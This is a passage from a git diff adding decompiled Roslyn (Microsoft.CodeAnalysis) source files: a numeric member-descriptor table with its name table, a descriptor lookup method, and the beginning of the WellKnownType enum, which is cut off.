1, 64, 61, 33, 107, 0, 1, + 64, 1, 64, 1, 33, 107, 0, 1, 64, 1, + 64, 1, 33, 107, 0, 1, 64, 1, 64, 1, + 33, 107, 0, 2, 64, 1, 64, 1, 64, 1, + 33, 107, 0, 2, 64, 1, 64, 1, 64, 1, + 33, 107, 0, 2, 64, 1, 64, 1, 64, 1, + 33, 107, 0, 2, 64, 1, 64, 1, 64, 1, + 33, 107, 0, 2, 64, 1, 64, 1, 64, 1, + 33, 107, 0, 2, 64, 1, 64, 1, 64, 1, + 33, 107, 0, 2, 64, 1, 64, 1, 64, 1, + 33, 107, 0, 2, 64, 1, 64, 1, 64, 1, + 33, 107, 0, 2, 64, 1, 64, 1, 64, 1, + 33, 107, 0, 2, 64, 1, 64, 1, 64, 1, + 33, 107, 0, 2, 64, 1, 64, 1, 64, 1, + 33, 107, 0, 2, 64, 1, 64, 1, 64, 1, + 33, 107, 0, 2, 64, 1, 64, 1, 64, 1, + 33, 107, 0, 3, 64, 1, 64, 1, 64, 1, + 64, 7, 33, 107, 0, 3, 64, 1, 64, 1, + 64, 1, 64, 7, 33, 107, 0, 3, 64, 1, + 64, 1, 64, 1, 64, 7, 33, 107, 0, 3, + 64, 1, 64, 1, 64, 1, 64, 7, 33, 107, + 0, 3, 64, 1, 64, 1, 64, 1, 64, 7, + 33, 107, 0, 3, 64, 1, 64, 1, 64, 1, + 64, 7, 33, 107, 0, 3, 64, 7, 64, 1, + 64, 1, 64, 7, 33, 107, 0, 3, 64, 7, + 64, 1, 64, 1, 64, 7, 33, 107, 0, 3, + 64, 7, 64, 1, 64, 1, 64, 7, 33, 107, + 0, 3, 64, 7, 64, 1, 64, 1, 64, 7, + 33, 107, 0, 3, 64, 7, 64, 1, 64, 1, + 64, 7, 33, 107, 0, 3, 64, 7, 64, 1, + 64, 1, 64, 7, 33, 107, 0, 3, 64, 13, + 64, 20, 64, 20, 64, 7, 33, 109, 0, 3, + 64, 13, 64, 20, 64, 20, 64, 7, 33, 108, + 0, 8, 64, 1, 64, 1, 64, 61, 64, 20, + 29, 64, 1, 29, 64, 20, 29, 64, 61, 29, + 64, 7, 64, 7, 33, 108, 0, 7, 64, 1, + 64, 1, 64, 61, 64, 20, 29, 64, 1, 29, + 64, 20, 29, 64, 61, 29, 64, 7, 33, 108, + 0, 6, 64, 6, 64, 1, 64, 61, 64, 20, + 29, 64, 1, 29, 64, 20, 29, 64, 61, 33, + 108, 0, 8, 64, 6, 64, 1, 64, 61, 64, + 20, 29, 64, 1, 29, 64, 20, 29, 64, 61, + 64, 7, 64, 7, 33, 108, 0, 3, 64, 1, + 64, 1, 29, 64, 1, 29, 64, 20, 33, 108, + 0, 3, 64, 6, 64, 1, 29, 64, 1, 29, + 64, 20, 33, 108, 0, 5, 64, 6, 64, 1, + 29, 64, 1, 29, 64, 20, 64, 7, 64, 7, + 4, 110, 0, 0, 64, 6, 4, 116, 0, 0, + 64, 6, 2, 116, 0, 64, 11, 33, 117, 0, + 4, 64, 6, 16, 64, 20, 64, 13, 64, 13, + 64, 20, 4, 118, 0, 0, 64, 6, 4, 105, + 0, 0, 64, 6, 33, 111, 0, 2, 64, 23, + 64, 23, 64, 23, 33, 112, 0, 3, 64, 7, + 64, 20, 64, 20, 64, 120, 33, 112, 0, 3, + 64, 1, 64, 1, 64, 1, 64, 120, 33, 113, + 0, 1, 64, 52, 64, 13, 33, 113, 0, 1, + 64, 6, 64, 52, 33, 113, 0, 2, 64, 6, + 64, 52, 64, 13, 33, 113, 0, 0, 64, 6, + 33, 113, 0, 0, 64, 6, 33, 115, 0, 6, + 64, 7, 64, 1, 64, 1, 64, 1, 64, 1, + 16, 64, 1, 16, 64, 1, 33, 115, 0, 3, + 64, 7, 64, 1, 64, 1, 16, 64, 1, 33, + 114, 0, 1, 64, 6, 64, 1, 33, 119, 0, + 4, 64, 1, 64, 1, 64, 20, 64, 104, 29, + 64, 1, 33, 119, 0, 1, 64, 7, 64, 1, + 33, 119, 0, 1, 64, 20, 64, 20, 33, 119, + 0, 1, 64, 20, 64, 1, 33, 119, 0, 1, + 64, 20, 64, 20, 33, 126, 0, 1, 64, 7, + 64, 1, 33, 126, 0, 1, 64, 20, 64, 20, + 33, 126, 0, 1, 64, 20, 64, 1, 33, 126, + 0, 1, 64, 20, 64, 20, 33, 127, 0, 4, + 64, 1, 64, 1, 64, 20, 64, 104, 29, 64, + 1, 65, 242, 0, 0, 64, 6, 65, 242, 0, + 1, 64, 6, 64, 242, 33, 243, 0, 0, 64, + 243, 1, 243, 0, 1, 64, 6, 64, 52, 1, + 243, 0, 0, 64, 6, 1, 243, 2, 2, 64, + 6, 16, 30, 0, 16, 30, 1, 1, 243, 2, + 2, 64, 6, 16, 30, 0, 16, 30, 1, 1, + 243, 1, 1, 64, 6, 16, 30, 0, 1, 243, + 0, 1, 64, 6, 64, 242, 33, 244, 0, 0, + 64, 244, 1, 244, 0, 1, 64, 6, 64, 52, + 1, 244, 0, 0, 64, 6, 1, 244, 2, 2, + 64, 6, 16, 30, 0, 16, 30, 1, 1, 244, + 2, 2, 64, 6, 16, 30, 0, 16, 30, 1, + 1, 244, 1, 1, 64, 6, 16, 30, 0, 1, + 244, 0, 1, 64, 6, 64, 242, 16, 244, 0, + 0, 64, 95, 33, 245, 0, 0, 64, 245, 1, + 245, 0, 1, 64, 6, 64, 52, 1, 245, 0, + 1, 64, 6, 19, 0, 1, 245, 2, 2, 64, + 6, 16, 30, 0, 16, 30, 1, 1, 245, 2, + 2, 64, 6, 16, 30, 0, 16, 30, 1, 1, + 245, 1, 1, 64, 6, 16, 30, 0, 1, 245, + 0, 1, 64, 6, 64, 242, 16, 245, 0, 0, + 21, 64, 96, 1, 19, 0, 4, 246, 0, 1, + 64, 6, 64, 61, 4, 247, 0, 1, 64, 6, + 64, 61, 33, 121, 0, 1, 64, 13, 64, 8, + 33, 121, 0, 1, 64, 13, 64, 20, 33, 121, + 0, 1, 64, 13, 64, 8, 33, 121, 0, 1, + 64, 13, 64, 20, 33, 121, 0, 1, 64, 8, + 64, 13, 33, 121, 0, 1, 64, 8, 64, 13, + 4, 231, 0, 2, 64, 6, 64, 232, 64, 1, + 4, 231, 0, 2, 64, 6, 64, 232, 29, 64, + 1, 33, 233, 0, 1, 64, 233, 64, 20, 33, + 249, 0, 1, 64, 6, 64, 248, 48, 250, 0, + 0, 64, 13, 4, 213, 0, 1, 64, 6, 64, + 214, 34, 251, 0, 64, 251, 2, 254, 0, 19, + 0, 2, 255, 1, 0, 19, 0, 2, 255, 1, + 0, 19, 1, 2, 255, 2, 0, 19, 0, 2, + 255, 2, 0, 19, 1, 2, 255, 2, 0, 19, + 2, 2, 255, 3, 0, 19, 0, 2, 255, 3, + 0, 19, 1, 2, 255, 3, 0, 19, 2, 2, + 255, 3, 0, 19, 3, 2, 255, 4, 0, 19, + 0, 2, 255, 4, 0, 19, 1, 2, 255, 4, + 0, 19, 2, 2, 255, 4, 0, 19, 3, 2, + 255, 4, 0, 19, 4, 2, 255, 5, 0, 19, + 0, 2, 255, 5, 0, 19, 1, 2, 255, 5, + 0, 19, 2, 2, 255, 5, 0, 19, 3, 2, + 255, 5, 0, 19, 4, 2, 255, 5, 0, 19, + 5, 2, 255, 6, 0, 19, 0, 2, 255, 6, + 0, 19, 1, 2, 255, 6, 0, 19, 2, 2, + 255, 6, 0, 19, 3, 2, 255, 6, 0, 19, + 4, 2, 255, 6, 0, 19, 5, 2, 255, 6, + 0, 19, 6, 2, 255, 7, 0, 19, 0, 2, + 255, 7, 0, 19, 1, 2, 255, 7, 0, 19, + 2, 2, 255, 7, 0, 19, 3, 2, 255, 7, + 0, 19, 4, 2, 255, 7, 0, 19, 5, 2, + 255, 7, 0, 19, 6, 2, 255, 7, 0, 19, + 7, 4, 254, 0, 1, 64, 6, 19, 0, 4, + 255, 1, 0, 2, 64, 6, 19, 0, 19, 1, + 4, 255, 2, 0, 3, 64, 6, 19, 0, 19, + 1, 19, 2, 4, 255, 3, 0, 4, 64, 6, + 19, 0, 19, 1, 19, 2, 19, 3, 4, 255, + 4, 0, 5, 64, 6, 19, 0, 19, 1, 19, + 2, 19, 3, 19, 4, 4, 255, 5, 0, 6, + 64, 6, 19, 0, 19, 1, 19, 2, 19, 3, + 19, 4, 19, 5, 4, 255, 6, 0, 7, 64, + 6, 19, 0, 19, 1, 19, 2, 19, 3, 19, + 4, 19, 5, 19, 6, 4, 255, 7, 0, 8, + 64, 6, 19, 0, 19, 1, 19, 2, 19, 3, + 19, 4, 19, 5, 19, 6, 19, 7, 4, 255, + 8, 0, 1, 64, 6, 29, 64, 20, 33, 20, + 0, 3, 64, 20, 64, 252, 64, 20, 29, 64, + 1, 33, 255, 9, 0, 5, 29, 64, 7, 64, + 55, 64, 13, 64, 13, 16, 29, 64, 7, 64, + 13, 33, 255, 9, 0, 5, 29, 64, 7, 64, + 55, 64, 13, 29, 64, 13, 16, 29, 64, 7, + 64, 13, 33, 255, 10, 0, 1, 64, 255, 10, + 64, 13, 33, 255, 10, 0, 2, 64, 255, 10, + 64, 13, 64, 13, 33, 255, 10, 0, 2, 64, + 255, 10, 64, 13, 64, 16, 33, 255, 10, 0, + 3, 64, 255, 10, 64, 13, 64, 13, 64, 16, + 1, 255, 10, 0, 0, 64, 6, 33, 255, 10, + 0, 0, 64, 16, 1, 255, 10, 0, 2, 64, + 6, 64, 7, 64, 13, 1, 255, 10, 0, 2, + 64, 6, 64, 10, 64, 13, 1, 255, 10, 0, + 2, 64, 6, 64, 12, 64, 13, 1, 255, 10, + 0, 2, 64, 6, 64, 14, 64, 13, 1, 255, + 10, 0, 2, 64, 6, 64, 16, 64, 13, 1, + 255, 10, 0, 2, 64, 6, 64, 18, 64, 13, + 1, 255, 10, 0, 2, 64, 6, 64, 19, 64, + 13, 1, 255, 10, 0, 2, 64, 6, 64, 17, + 64, 13, 1, 255, 10, 0, 2, 64, 6, 64, + 20, 64, 13, 1, 255, 10, 0, 2, 64, 6, + 64, 1, 64, 13, 1, 255, 10, 0, 2, 64, + 6, 15, 64, 6, 64, 13, 1, 255, 10, 0, + 3, 64, 6, 15, 64, 6, 64, 13, 64, 13, + 1, 255, 10, 0, 2, 64, 6, 64, 13, 64, + 13, 1, 255, 10, 0, 2, 64, 6, 64, 7, + 64, 13, 1, 255, 10, 0, 2, 64, 6, 64, + 10, 64, 13, 1, 255, 10, 0, 2, 64, 6, + 64, 12, 64, 13, 1, 255, 10, 0, 2, 64, + 6, 64, 14, 64, 13, 1, 255, 10, 0, 2, + 64, 6, 64, 16, 64, 13, 1, 255, 10, 0, + 2, 64, 6, 64, 18, 64, 13, 1, 255, 10, + 0, 2, 64, 6, 64, 19, 64, 13, 1, 255, + 10, 0, 2, 64, 6, 64, 17, 64, 13, 1, + 255, 10, 0, 2, 64, 6, 64, 20, 64, 13, + 1, 255, 10, 0, 2, 64, 6, 64, 1, 64, + 13, 1, 255, 10, 0, 2, 64, 6, 15, 64, + 6, 64, 13, 1, 255, 10, 0, 3, 64, 6, + 15, 64, 6, 64, 13, 64, 13, 1, 255, 10, + 0, 2, 64, 6, 64, 13, 64, 13, 1, 255, + 10, 0, 2, 64, 6, 64, 13, 64, 13, 4, + 255, 11, 0, 1, 64, 6, 64, 10, 4, 255, + 11, 0, 1, 64, 6, 29, 64, 10, 4, 255, + 12, 0, 1, 64, 6, 64, 10, 4, 255, 13, + 0, 1, 64, 6, 64, 7, 4, 255, 14, 0, + 0, 64, 6, 4, 255, 15, 0, 0, 64, 6, + 4, 255, 16, 0, 0, 64, 6, 4, 255, 17, + 0, 0, 64, 6, 4, 255, 19, 0, 2, 64, + 6, 64, 20, 64, 7, 4, 255, 20, 0, 2, + 64, 6, 15, 64, 6, 64, 13, 4, 255, 20, + 0, 1, 64, 6, 29, 19, 0, 8, 255, 20, + 0, 1, 16, 19, 0, 64, 13, 8, 255, 20, + 0, 0, 64, 13, 1, 255, 20, 0, 2, 21, + 64, 255, 20, 1, 19, 0, 64, 13, 64, 13, + 4, 255, 21, 0, 2, 64, 6, 15, 64, 6, + 64, 13, 4, 255, 21, 0, 1, 64, 6, 29, + 19, 0, 4, 255, 21, 0, 3, 64, 6, 29, + 19, 0, 64, 13, 64, 13, 8, 255, 21, 0, + 1, 16, 19, 0, 64, 13, 8, 255, 21, 0, + 0, 64, 13, 1, 255, 21, 0, 2, 21, 64, + 255, 21, 1, 19, 0, 64, 13, 64, 13, 4, + 255, 23, 0, 0, 64, 6, 33, 255, 24, 0, + 1, 64, 18, 64, 18, 33, 255, 24, 0, 1, + 64, 19, 64, 19, 33, 255, 24, 0, 1, 64, + 18, 64, 18, 33, 255, 24, 0, 1, 64, 19, + 64, 19, 33, 47, 0, 1, 64, 19, 64, 19, + 33, 47, 0, 1, 64, 19, 64, 19, 33, 47, + 0, 1, 64, 19, 64, 19, 4, 255, 29, 0, + 2, 64, 6, 64, 13, 64, 7, 1, 255, 29, + 0, 1, 64, 13, 64, 13, 4, 255, 30, 0, + 2, 64, 6, 64, 255, 29, 64, 255, 29, 33, + 255, 30, 0, 1, 64, 255, 30, 64, 255, 29, + 33, 255, 30, 0, 1, 64, 255, 30, 64, 255, + 29, 40, 255, 30, 0, 0, 64, 255, 30, 8, + 255, 30, 0, 0, 64, 255, 29, 8, 255, 30, + 0, 0, 64, 255, 29, 4, 255, 31, 0, 1, + 64, 6, 64, 61, 65, 255, 32, 0, 0, 64, + 255, 41, 65, 255, 33, 0, 1, 21, 64, 255, + 34, 1, 19, 0, 64, 255, 43, 65, 255, 34, + 0, 0, 21, 64, 255, 40, 1, 64, 7, 72, + 255, 34, 0, 0, 19, 0, 1, 255, 35, 0, + 1, 19, 0, 64, 11, 1, 255, 35, 0, 1, + 64, 255, 36, 64, 11, 1, 255, 35, 0, 4, + 64, 6, 21, 64, 146, 1, 64, 1, 64, 1, + 64, 11, 64, 255, 37, 1, 255, 35, 0, 0, + 64, 6, 1, 255, 35, 0, 1, 64, 6, 64, + 52, 1, 255, 35, 0, 1, 64, 6, 19, 0, + 8, 255, 35, 0, 0, 64, 11, 65, 255, 38, + 0, 1, 19, 0, 64, 11, 65, 255, 38, 0, + 1, 64, 255, 36, 64, 11, 65, 255, 38, 0, + 4, 64, 6, 21, 64, 146, 1, 64, 1, 64, + 1, 64, 11, 64, 255, 37, 65, 255, 39, 0, + 1, 64, 6, 64, 11, 65, 255, 39, 0, 1, + 64, 255, 36, 64, 11, 65, 255, 39, 0, 4, + 64, 6, 21, 64, 146, 1, 64, 1, 64, 1, + 64, 11, 64, 255, 37, 4, 255, 40, 0, 2, + 64, 6, 21, 64, 255, 38, 1, 19, 0, 64, + 11, 4, 255, 40, 0, 1, 64, 6, 19, 0, + 4, 255, 41, 0, 2, 64, 6, 64, 255, 39, + 64, 11, 33, 255, 42, 0, 0, 64, 255, 42, + 1, 255, 42, 0, 0, 64, 6, 1, 255, 42, + 2, 2, 64, 6, 16, 30, 0, 16, 30, 1, + 1, 255, 42, 2, 2, 64, 6, 16, 30, 0, + 16, 30, 1, 1, 255, 42, 1, 1, 64, 6, + 16, 30, 0, 72, 255, 28, 0, 1, 64, 1, + 64, 13, 72, 255, 28, 0, 0, 64, 13, 4, + 255, 45, 0, 0, 64, 6, 4, 255, 45, 0, + 1, 64, 6, 64, 20, 4, 255, 46, 0, 0, + 64, 6, 4, 255, 46, 0, 1, 64, 6, 64, + 1, 1, 255, 43, 0, 1, 64, 7, 64, 255, + 43, 33, 255, 44, 0, 2, 64, 255, 44, 64, + 255, 43, 64, 255, 43, 16, 255, 44, 0, 0, + 64, 255, 43, 1, 255, 44, 0, 0, 64, 6, + 4, 255, 58, 0, 1, 64, 6, 64, 20, 4, + 255, 48, 0, 0, 64, 6, 4, 255, 48, 0, + 1, 64, 6, 29, 64, 7, 1, 255, 54, 0, + 1, 64, 255, 54, 64, 20, 1, 255, 54, 0, + 1, 64, 255, 54, 64, 8, 1, 255, 54, 0, + 1, 64, 255, 54, 64, 1, 4, 255, 54, 0, + 0, 64, 6, 1, 255, 55, 0, 0, 64, 20, + 4, 255, 59, 0, 0, 64, 6, 4, 255, 60, + 0, 0, 64, 6, 4, 255, 56, 0, 0, 64, + 6, 4, 255, 57, 0, 1, 64, 6, 64, 13, + 33, 255, 61, 1, 2, 64, 7, 21, 64, 255, + 20, 1, 30, 0, 21, 64, 255, 21, 1, 30, + 0, 33, 255, 61, 1, 2, 64, 7, 21, 64, + 255, 21, 1, 30, 0, 21, 64, 255, 21, 1, + 30, 0, 33, 255, 61, 0, 1, 21, 64, 255, + 21, 1, 64, 8, 64, 20, 4, 255, 62, 0, + 1, 64, 6, 64, 20, 4, 255, 63, 0, 0, + 64, 6, 4, 240, 0, 0, 64, 6, 4, 255, + 64, 0, 0, 64, 6, 4, 255, 65, 0, 1, + 64, 6, 64, 61, 80, 31, 0, 0, 64, 13, + 72, 30, 0, 1, 19, 0, 64, 13, 80, 27, + 0, 0, 64, 13, 80, 27, 0, 0, 64, 7, + 65, 27, 0, 1, 64, 6, 19, 0, 65, 27, + 0, 0, 64, 6, 65, 27, 0, 1, 64, 7, + 19, 0, 65, 27, 0, 2, 64, 6, 29, 19, + 0, 64, 13, 65, 27, 0, 1, 64, 7, 19, + 0, 72, 26, 0, 1, 19, 0, 64, 13, 65, + 26, 0, 1, 64, 13, 19, 0, 65, 26, 0, + 2, 64, 6, 64, 13, 19, 0, 65, 26, 0, + 1, 64, 6, 64, 13, 4, 206, 0, 0, 64, + 6, 4, 206, 0, 1, 64, 6, 64, 13, 1, + 206, 0, 1, 64, 6, 19, 0, 16, 206, 0, + 0, 64, 13, 1, 206, 0, 1, 64, 7, 19, + 0, 1, 206, 0, 2, 64, 6, 29, 19, 0, + 64, 13, 8, 206, 0, 1, 19, 0, 64, 13, + 1, 206, 0, 1, 64, 13, 19, 0, 1, 206, + 0, 0, 29, 19, 0, 33, 255, 52, 1, 1, + 21, 64, 255, 20, 1, 30, 0, 21, 64, 206, + 1, 30, 0, 33, 255, 52, 1, 2, 64, 6, + 21, 64, 206, 1, 30, 0, 64, 13, 33, 255, + 53, 1, 1, 21, 64, 204, 1, 30, 0, 29, + 30, 0 + }; + string[] nameTable = new string[506] + { + "ToString", "Round", "Pow", "get_Length", "Empty", "ToBoolean", "ToBoolean", "ToBoolean", "ToBoolean", "ToBoolean", + "ToBoolean", "ToBoolean", "ToSByte", "ToSByte", "ToSByte", "ToByte", "ToByte", "ToByte", "ToInt16", "ToInt16", + "ToInt16", "ToUInt16", "ToUInt16", "ToUInt16", "ToInt32", "ToInt32", "ToInt32", "ToUInt32", "ToUInt32", "ToUInt32", + "ToInt64", "ToInt64", "ToInt64", "ToUInt64", "ToUInt64", "ToUInt64", "ToSingle", "ToDouble", ".ctor", ".ctor", + ".ctor", "GetTypeFromCLSID", "GetTypeFromHandle", "Missing", "op_Equality", ".ctor", ".ctor", "GetMethodFromHandle", "GetMethodFromHandle", "CreateDelegate", + "CreateDelegate", "CreateDelegate", "GetFieldFromHandle", "GetFieldFromHandle", "Value", "Equals", "Equals", "Equals", "GetHashCode", "get_Default", + ".ctor", "AllowMultiple", "Inherited", ".ctor", ".ctor", ".ctor", "Break", ".ctor", "Type", ".ctor", + ".ctor", ".ctor", ".ctor", ".ctor", "Default", "DisableOptimizations", "EnableEditAndContinue", "IgnoreSymbolStoreSequencePoints", ".ctor", ".ctor", + ".ctor", ".ctor", ".ctor", "AddEventHandler", "RemoveEventHandler", ".ctor", ".ctor", ".ctor", ".ctor", ".ctor", + ".ctor", ".ctor", "GetTypeFromCLSID", ".ctor", ".ctor", ".ctor", ".ctor", ".ctor", ".ctor", "CreateSpan", + "CreateReadOnlySpan", "AddEventHandler", "GetOrCreateEventRegistrationTokenTable", "InvocationList", "RemoveEventHandler", "AddEventHandler", "RemoveAllEventHandlers", "RemoveEventHandler", ".ctor", ".ctor", + ".ctor", ".ctor", ".ctor", ".ctor", ".ctor", ".ctor", "WrapNonExceptionThrows", ".ctor", ".ctor", ".ctor", + ".ctor", "Create", "Target", "CreateSpan", "GetObjectValue", "InitializeArray", "get_OffsetToStringData", "GetSubArray", "EnsureSufficientExecutionStack", "Add", + "As", "AsRef", "Capture", "Throw", ".ctor", "RequestMinimum", ".ctor", "SkipVerification", "CreateInstance", "CreateInstance", + "CompareExchange", "CompareExchange", "Enter", "Enter", "Exit", "CurrentThread", "ManagedThreadId", "BinaryOperation", "Convert", "GetIndex", + "GetMember", "Invoke", "InvokeConstructor", "InvokeMember", "IsEvent", "SetIndex", "SetMember", "UnaryOperation", "Create", "ToDecimal", + "ToBoolean", "ToSByte", "ToByte", "ToShort", "ToUShort", "ToInteger", "ToUInteger", "ToLong", "ToULong", "ToSingle", + "ToDouble", "ToDecimal", "ToDate", "ToChar", "ToCharArrayRankOne", "ToString", "ToString", "ToString", "ToString", "ToString", + "ToString", "ToString", "ToString", "ToString", "ToString", "ToString", "ToString", "ToBoolean", "ToSByte", "ToByte", + "ToShort", "ToUShort", "ToInteger", "ToUInteger", "ToLong", "ToULong", "ToSingle", "ToDouble", "ToDecimal", "ToDate", + "ToChar", "ToCharArrayRankOne", "ToGenericParameter", "ChangeType", "PlusObject", "NegateObject", "NotObject", "AndObject", "OrObject", "XorObject", + "AddObject", "SubtractObject", "MultiplyObject", "DivideObject", "ExponentObject", "ModObject", "IntDivideObject", "LeftShiftObject", "RightShiftObject", "ConcatenateObject", + "CompareObjectEqual", "CompareObjectNotEqual", "CompareObjectLess", "CompareObjectLessEqual", "CompareObjectGreaterEqual", "CompareObjectGreater", "ConditionalCompareObjectEqual", "ConditionalCompareObjectNotEqual", "ConditionalCompareObjectLess", "ConditionalCompareObjectLessEqual", + "ConditionalCompareObjectGreaterEqual", "ConditionalCompareObjectGreater", "CompareString", "CompareString", "LateCall", "LateGet", "LateSet", "LateSetComplex", "LateIndexGet", "LateIndexSet", + "LateIndexSetComplex", ".ctor", ".ctor", "State", "MidStmtStr", ".ctor", ".ctor", "CopyArray", "LikeString", "LikeObject", + "CreateProjectError", "SetProjectError", "SetProjectError", "ClearProjectError", "EndApp", "ForLoopInitObj", "ForNextCheckObj", "CheckForSyncLockOnValueType", "CallByName", "IsNumeric", + "SystemTypeName", "TypeName", "VbTypeName", "IsNumeric", "SystemTypeName", "TypeName", "VbTypeName", "CallByName", "MoveNext", "SetStateMachine", + "Create", "SetException", "SetResult", "AwaitOnCompleted", "AwaitUnsafeOnCompleted", "Start", "SetStateMachine", "Create", "SetException", "SetResult", + "AwaitOnCompleted", "AwaitUnsafeOnCompleted", "Start", "SetStateMachine", "Task", "Create", "SetException", "SetResult", "AwaitOnCompleted", "AwaitUnsafeOnCompleted", + "Start", "SetStateMachine", "Task", ".ctor", ".ctor", "Asc", "Asc", "AscW", "AscW", "Chr", + "ChrW", ".ctor", ".ctor", "Get", "Run", "CurrentManagedThreadId", ".ctor", "SustainedLowLatency", "Item1", "Item1", + "Item2", "Item1", "Item2", "Item3", "Item1", "Item2", "Item3", "Item4", "Item1", "Item2", + "Item3", "Item4", "Item5", "Item1", "Item2", "Item3", "Item4", "Item5", "Item6", "Item1", + "Item2", "Item3", "Item4", "Item5", "Item6", "Item7", "Item1", "Item2", "Item3", "Item4", + "Item5", "Item6", "Item7", "Rest", ".ctor", ".ctor", ".ctor", ".ctor", ".ctor", ".ctor", + ".ctor", ".ctor", ".ctor", "Format", "CreatePayload", "CreatePayload", "LogMethodEntry", "LogLambdaEntry", "LogStateMachineMethodEntry", "LogStateMachineLambdaEntry", + "LogReturn", "GetNewStateMachineInstanceId", "LogLocalStore", "LogLocalStore", "LogLocalStore", "LogLocalStore", "LogLocalStore", "LogLocalStore", "LogLocalStore", "LogLocalStore", + "LogLocalStore", "LogLocalStore", "LogLocalStore", "LogLocalStoreUnmanaged", "LogLocalStoreParameterAlias", "LogParameterStore", "LogParameterStore", "LogParameterStore", "LogParameterStore", "LogParameterStore", + "LogParameterStore", "LogParameterStore", "LogParameterStore", "LogParameterStore", "LogParameterStore", "LogParameterStore", "LogParameterStoreUnmanaged", "LogParameterStoreParameterAlias", "LogLocalStoreLocalAlias", ".ctor", + ".ctor", ".ctor", ".ctor", ".ctor", ".ctor", ".ctor", ".ctor", ".ctor", ".ctor", ".ctor", + "get_Item", "get_Length", "Slice", ".ctor", ".ctor", ".ctor", "get_Item", "get_Length", "Slice", ".ctor", + "Fix", "Fix", "Int", "Int", "Ceiling", "Floor", "Truncate", ".ctor", "GetOffset", ".ctor", + "StartAt", "EndAt", "get_All", "get_Start", "get_End", ".ctor", "DisposeAsync", "GetAsyncEnumerator", "MoveNextAsync", "get_Current", + "GetResult", "GetStatus", "OnCompleted", "Reset", "SetException", "SetResult", "get_Version", "GetResult", "GetStatus", "OnCompleted", + "GetResult", "GetStatus", "OnCompleted", ".ctor", ".ctor", ".ctor", "Create", "Complete", "AwaitOnCompleted", "AwaitUnsafeOnCompleted", + "MoveNext", "get_Item", "get_Length", ".ctor", ".ctor", ".ctor", ".ctor", "Equals", "CreateLinkedTokenSource", "Token", + "Dispose", ".ctor", ".ctor", ".ctor", "Append", "Append", "Append", ".ctor", "ToStringAndClear", ".ctor", + ".ctor", ".ctor", ".ctor", "SequenceEqual", "SequenceEqual", "AsSpan", ".ctor", ".ctor", ".ctor", ".ctor", + ".ctor", "Count", "get_Item", "Count", "IsReadOnly", "Add", "Clear", "Contains", "CopyTo", "Remove", + "get_Item", "IndexOf", "Insert", "RemoveAt", ".ctor", ".ctor", "Add", "Count", "Contains", "CopyTo", + "get_Item", "IndexOf", "ToArray", "AsSpan", "SetCount", "AsImmutableArray" + }; + s_descriptors = MemberDescriptor.InitializeFromStream(new MemoryStream(buffer, writable: false), nameTable); + } + + public static MemberDescriptor GetDescriptor(WellKnownMember member) + { + return s_descriptors[(int)member]; + } + + internal static bool IsSynthesizedAttributeOptional(WellKnownMember attributeMember) + { + switch (attributeMember) + { + case WellKnownMember.System_STAThreadAttribute__ctor: + case WellKnownMember.System_Diagnostics_DebuggerDisplayAttribute__ctor: + case WellKnownMember.System_Diagnostics_DebuggerNonUserCodeAttribute__ctor: + case WellKnownMember.System_Diagnostics_DebuggerHiddenAttribute__ctor: + case WellKnownMember.System_Diagnostics_DebuggerBrowsableAttribute__ctor: + case WellKnownMember.System_Diagnostics_DebuggerStepThroughAttribute__ctor: + case WellKnownMember.System_Diagnostics_DebuggableAttribute__ctorDebuggingModes: + case WellKnownMember.System_Runtime_CompilerServices_CompilerGeneratedAttribute__ctor: + case WellKnownMember.System_Runtime_CompilerServices_AsyncStateMachineAttribute__ctor: + case WellKnownMember.System_Runtime_CompilerServices_IteratorStateMachineAttribute__ctor: + case WellKnownMember.System_Runtime_CompilerServices_AsyncIteratorStateMachineAttribute__ctor: + return true; + default: + return false; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/WellKnownType.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/WellKnownType.cs new file mode 100644 index 0000000..64f968a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/WellKnownType.cs @@ -0,0 +1,286 @@ +namespace Microsoft.CodeAnalysis; + +internal enum WellKnownType +{ + Unknown = 0, + First = 47, + System_Math = 47, + System_Array = 48, + System_Attribute = 49, + System_CLSCompliantAttribute = 50, + System_Convert = 51, + System_Exception = 52, + System_FlagsAttribute = 53, + System_FormattableString = 54, + System_Guid = 55, + System_IFormattable = 56, + System_RuntimeTypeHandle = 57, + System_RuntimeFieldHandle = 58, + System_RuntimeMethodHandle = 59, + System_MarshalByRefObject = 60, + System_Type = 61, + System_Reflection_AssemblyKeyFileAttribute = 62, + System_Reflection_AssemblyKeyNameAttribute = 63, + System_Reflection_MethodInfo = 64, + System_Reflection_ConstructorInfo = 65, + System_Reflection_MethodBase = 66, + System_Reflection_FieldInfo = 67, + System_Reflection_MemberInfo = 68, + System_Reflection_Missing = 69, + System_Runtime_CompilerServices_FormattableStringFactory = 70, + System_Runtime_CompilerServices_RuntimeHelpers = 71, + System_Runtime_ExceptionServices_ExceptionDispatchInfo = 72, + System_Runtime_InteropServices_StructLayoutAttribute = 73, + System_Runtime_InteropServices_UnknownWrapper = 74, + System_Runtime_InteropServices_DispatchWrapper = 75, + System_Runtime_InteropServices_CallingConvention = 76, + System_Runtime_InteropServices_ClassInterfaceAttribute = 77, + System_Runtime_InteropServices_ClassInterfaceType = 78, + System_Runtime_InteropServices_CoClassAttribute = 79, + System_Runtime_InteropServices_ComAwareEventInfo = 80, + System_Runtime_InteropServices_ComEventInterfaceAttribute = 81, + System_Runtime_InteropServices_ComInterfaceType = 82, + System_Runtime_InteropServices_ComSourceInterfacesAttribute = 83, + System_Runtime_InteropServices_ComVisibleAttribute = 84, + System_Runtime_InteropServices_DispIdAttribute = 85, + System_Runtime_InteropServices_GuidAttribute = 86, + System_Runtime_InteropServices_InterfaceTypeAttribute = 87, + System_Runtime_InteropServices_Marshal = 88, + System_Runtime_InteropServices_TypeIdentifierAttribute = 89, + System_Runtime_InteropServices_BestFitMappingAttribute = 90, + System_Runtime_InteropServices_DefaultParameterValueAttribute = 91, + System_Runtime_InteropServices_LCIDConversionAttribute = 92, + System_Runtime_InteropServices_UnmanagedFunctionPointerAttribute = 93, + System_Activator = 94, + System_Threading_Tasks_Task = 95, + System_Threading_Tasks_Task_T = 96, + System_Threading_Interlocked = 97, + System_Threading_Monitor = 98, + System_Threading_Thread = 99, + Microsoft_CSharp_RuntimeBinder_Binder = 100, + Microsoft_CSharp_RuntimeBinder_CSharpArgumentInfo = 101, + Microsoft_CSharp_RuntimeBinder_CSharpArgumentInfoFlags = 102, + 